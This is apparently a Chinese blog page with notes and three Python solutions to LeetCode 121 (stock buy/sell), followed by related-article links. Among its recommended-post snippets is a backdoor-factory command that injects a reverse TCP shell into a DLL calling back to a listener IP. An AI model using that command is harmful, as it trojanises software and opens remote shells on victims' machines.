leetcode-easy-dynamic-121 Best Time to Buy and Sell Stock
mycode 70.94%
思路:其实没必要去考虑在计算了一个max-min后,后面又出现了一个新的的最小值的情况,因为res取值就是取自己和新的res的最大值
在遇见max值之前,遇见新的最小值,直接更新最小值
在遇见max值之后,遇见新的最小值,没关系啊,因为res已经记录了前面最大值和最小值之间的差啦,只要新的最小值之后能够找到新的最大值使得新的差值比res大,就去更新res,否则res不变啦
class Solution(object):
def maxProfit(self, prices):
"""
:type prices: List[int]
:rtype: int
"""
m = float('inf')
n = 0
pos1 = 0
pos2 = 0
res = 0
for i in range(len(prices)):
if prices[i] < m :
pos1 = i
m = prices[i]
if prices[i] > m and i > pos1:
res = max(res,prices[i]-m)
return res
简化 77.91%
class Solution(object):
def maxProfit(self, prices):
"""
:type prices: List[int]
:rtype: int
"""
m = float('inf')
res = 0
for i in range(len(prices)):
if prices[i] < m :
m = prices[i]
if prices[i] > m :
res = max(res,prices[i]-m)
return res
参考
class Solution(object):
def maxProfit(self, prices):
"""
:type prices: List[int]
:rtype: int
"""
if len(prices)<2:
return 0
lowest = prices[0]
rst = 0
for price in prices:
if price<lowest:
lowest = price
rst = max(rst, price-lowest)
return rst
leetcode-easy-dynamic-121 Best Time to Buy and Sell Stock的更多相关文章
- 【leetcode❤python】121. Best Time to Buy and Sell Stock
#-*- coding: UTF-8 -*- #Method1 :超时#class Solution(object):# def maxProfit(self, prices):# # ...
- 121. Best Time to Buy and Sell Stock【easy】
121. Best Time to Buy and Sell Stock[easy] Say you have an array for which the ith element is the pr ...
- 121. Best Time to Buy and Sell Stock (一) leetcode解题笔记
121. Best Time to Buy and Sell Stock Say you have an array for which the ith element is the price of ...
- 30. leetcode 121. Best Time to Buy and Sell Stock
121. Best Time to Buy and Sell Stock Say you have an array for which the ith element is the price of ...
- leetcode 121. Best Time to Buy and Sell Stock 、122.Best Time to Buy and Sell Stock II 、309. Best Time to Buy and Sell Stock with Cooldown
121. Best Time to Buy and Sell Stock 题目的要求是只买卖一次,买的价格越低,卖的价格越高,肯定收益就越大 遍历整个数组,维护一个当前位置之前最低的买入价格,然后每次 ...
- [LeetCode] 121. Best Time to Buy and Sell Stock 买卖股票的最佳时间
Say you have an array for which the ith element is the price of a given stock on day i. If you were ...
- 【刷题-LeetCode】121 Best Time to Buy and Sell Stock
Best Time to Buy and Sell Stock Say you have an array for which the ith element is the price of a gi ...
- LeetCode(122) Best Time to Buy and Sell Stock II
题目 Say you have an array for which the ith element is the price of a given stock on day i. Design an ...
- LeetCode之“动态规划”:Best Time to Buy and Sell Stock I && II && III && IV
Best Time to Buy and Sell Stock I 题目链接 题目要求: Say you have an array for which the ith element is the ...
- 121. Best Time to Buy and Sell Stock@python
Say you have an array for which the ith element is the price of a given stock on day i. If you were ...
随机推荐
- ubuntu 创建定时备份pg数据库定时任务
ubuntu创建定时备份数据库定时任务 一.命令文件 创建db_back.sh #!/bin/bash echo "start backup" /usr/lib/postgresq ...
- 2019.10.9wechat反弹shell复现
./backdoor.py -f libEGL.dll -s reverse_shell_tcp_inline -P 6666 -H 192.168.106.137 msfconsle 打开msf 在 ...
- IIS7设置限制IP地址访问
1.拒绝访问设置,选择“一组计算机”,下面重点说明如何填写“网络标识”和“子网掩码”. IP地址按照IPV4的标准来分,分为A类地址.B类地址.C类地址,一般我们是屏蔽C类或者B类地址. A类地址:如 ...
- 动画学习之Music图形绘制
今天来实现一个类似于网易云音乐类似的动态效果,在用网易云音乐听歌时会有一个类似这样的效果,如下: 而咱们这次要实现的效果如下: music图形的绘制: 在实现动画之前先来将静态的图形绘制出来, 如下: ...
- kotlin面向对象之抽象类、继承、多态
继承: 比较简单,直接看如何使用,这里以父亲与儿子的关系为例: 接着定义儿子并且继承父亲,如下: 是用":"号来继承的,但是此时报错了,看下错误提示: 在kotlin的类并非是人人 ...
- CNN简略总结
https://blog.csdn.net/real_myth/article/details/51824193 池化层的作用: 感受野变化...?? 1*1卷积核的作用 1. 实现跨通道的交互和信息 ...
- 【leetcode】Department Top Three Salaries
The Employee table holds all employees. Every employee has an Id, and there is also a column for the ...
- eclipse切换 package explorer
- AngularJS 前端 MVC 的设计与搭建
代码 #未引入MVC框架之前的代码 <!doctype html> <html> <head> <meta charset="UTF-8" ...
- ASE高级软件工程 第一次结对作业
黄金点游戏Bot Bot8前来报道 1.问题定义 a) 问题描述 N个玩家,每人写一个0~100之间的有理数 (不包括0或100),提交给服务器,服务器在当前回合结束时算出所有数字的平均值,然后乘以0 ...